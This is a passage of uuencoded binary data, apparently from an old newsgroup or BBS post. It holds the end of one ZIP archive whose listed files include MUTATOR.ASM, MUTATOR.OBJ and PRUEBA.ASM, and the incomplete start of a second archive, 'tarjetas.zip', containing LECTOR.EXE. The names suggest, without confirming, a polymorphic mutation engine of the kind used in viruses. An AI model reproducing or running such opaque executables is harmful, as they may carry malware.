M-JD?NPR^#1_+LJ:XW0^],M,6A7O:N(3@]E@=-CB92'*9R&O,B\K%\*/$(QFW
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
M   *          $ (    -\E  !04E5%0D$N3T)*4$L%!@     %  4 ' $ 
' ' G        
 
end
begin 666 tarjetas.zip
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
